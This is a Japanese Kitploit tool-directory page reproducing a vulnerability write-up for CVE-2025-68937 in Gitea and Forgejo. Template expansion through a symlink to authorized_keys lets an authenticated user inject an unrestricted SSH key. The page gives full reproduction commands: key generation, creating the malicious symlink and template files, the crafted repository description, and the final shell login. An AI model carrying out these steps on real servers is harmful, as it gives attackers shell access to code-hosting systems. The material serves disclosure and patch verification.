Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Gitea-Forgejo-CVE-2025-68937 — GiteaおよびForgejoのリポジトリテンプレート処理におけるディレクトリトラバーサルにより、リモートの認証済み攻撃者がファイルシステム上の任意のファイルを処理でき、リモートコード実行につながります。 | Kitploit
ツール/GitHubGitHub/clemax/gitea-forgejo-cve-2025-68937
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubclemax/gitea-forgejo-cve-2025-68937

Gitea-Forgejo-CVE-2025-68937

GiteaおよびForgejoのリポジトリテンプレート処理におけるディレクトリトラバーサルにより、リモートの認証済み攻撃者がファイルシステム上の任意のファイルを処理でき、リモートコード実行につながります。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
6ヶ月前未レビュー

Gitea および Forgejo における任意テンプレート展開の脆弱性

forgejo-cve CC BY-SA 4.0

この作品は クリエイティブ・コモンズ 表示-継承 4.0 国際ライセンス の下でライセンスされています。

CC BY-SA 4.0

概要

Forgejo と Gitea のソースコードを確認し、テンプレート処理の仕組みをより深く理解していたところ、認証済みユーザーが悪意のあるテンプレートリポジトリを作成し、ファイルシステム上の任意のファイルを処理できる脆弱性を発見しました。

悪意のあるテンプレートの Git コンテンツに基づいてリポジトリを作成すると、テンプレートがファイルシステム上の任意のファイルを展開できるようになります。

git ユーザーのホームディレクトリのパス(公式 Docker イメージでは /data/git がデフォルト)を知っている場合、攻撃者は git ユーザーの .ssh/authorized_keys ファイルを展開して、command パラメータなしでキーを注入し、任意のコマンドやインタラクティブシェルを実行できるようになります。

技術的詳細

影響を受けるバージョン: Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

影響を受けるコンポーネント: テンプレートリポジトリ

根本原因: テンプレートファイルの内容を読み書きする際のシンボリックリンクの逆参照

エクスプロイトの流れ

  1. 攻撃者は正規ユーザーとして認証する

  2. 攻撃者は、推測した git ユーザーの .ssh/authorized_keys ファイルへのシンボリックリンクと、そのシンボリックリンクを参照する .forgejo/template ファイルを含む悪意のあるテンプレートリポジトリを作成する

  3. 攻撃者は、コメントが ${REPO_DESCRIPTION} で終わる ssh 公開鍵をアカウントに追加する

  4. 攻撃者は、Git コンテンツテンプレートを有効にし、説明に改行と別の ssh 公開鍵を含む、悪意のあるテンプレートリポジトリを参照するリポジトリを作成する

  5. Gitea/Forgejo のテンプレートが authorized_keys のシンボリックリンクを読み取りテンプレート展開し、先に設定された公開鍵のコメントが攻撃者のリポジトリ説明に対応する任意のエントリに展開され、command パラメータがなくなる

  6. 攻撃者は、注入された鍵を使用して git ユーザーとしてインタラクティブにログインする

攻撃者は設定ファイルや SQLite データベースを破損したり、巨大なファイルを読み込んでサービス拒否を引き起こすことも可能です。

緩和策

  • 信頼できないユーザーの登録を無効にする
  • 信頼できないユーザーのリポジトリ作成を無効にする

再現手順

  1. 脆弱なバージョンの Gitea/Forgejo をインストールして設定する

  2. 管理者アカウントを使用して攻撃者のアカウントを登録または作成する

  3. 攻撃者アカウントでログインする

  4. 2つの異なるSSH鍵を生成する: 1つはGit用、もう1つはインタラクティブSSH用

root@kitploit:~
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
  1. Gitea/Forgejo UI を使用して、~/.ssh/attacker-git.pub ファイルの内容を承認された ssh 鍵として追加する

鍵のコメントは以下のように表示されるはずです:

root@kitploit:~
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

git ユーザーの .ssh/authorized_keys は次のようになります:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
  1. Gitea/Forgejo UI を使用して悪意のあるテンプレートリポジトリを作成する

  2. テンプレートリポジトリをクローンし、悪意のあるシンボリックリンクとテンプレート設定を追加する

root@kitploit:~
# テンプレートリポジトリをクローン
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# 悪意のあるシンボリックリンクを作成
ln -s /data/git/.ssh/authorized_keys

# Gitea を使用する場合、Gitea テンプレート設定を作成
mkdir .gitea
echo authorized_keys > .gitea/template

# Forgejo を使用する場合、Forgejo テンプレート設定を作成
mkdir .forgejo
echo authorized_keys > .forgejo/template

# 変更をコミットしてプッシュ
git add -A
git commit -m 'Initial commit'

git push
  1. Git コンテンツテンプレートを有効にし、説明に改行と ~/.ssh/attacker-ssh.pub ファイルの内容を含む、悪意のあるテンプレートリポジトリを参照する新しいリポジトリを作成する

リポジトリの説明は次のようになります:

root@kitploit:~
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

最初の行の replaced は必須ではありませんが、改行はそのまま残す必要があります。行末の attacker@machine コメントも任意です。

結果として得られる git ユーザーの .ssh/authorized_keys は次のようになります:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
  1. ~/.ssh/attacker-ssh 鍵と ssh クライアントを使用して接続する
root@kitploit:~
ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

参考文献

  • Gitea リリースノート
  • Gitea プルリクエスト
  • Forgejo 13.0.2 リリースノート
  • Forgejo 11.0.7 リリースノート
  • Forgejo パッチ
ツールをダウンロード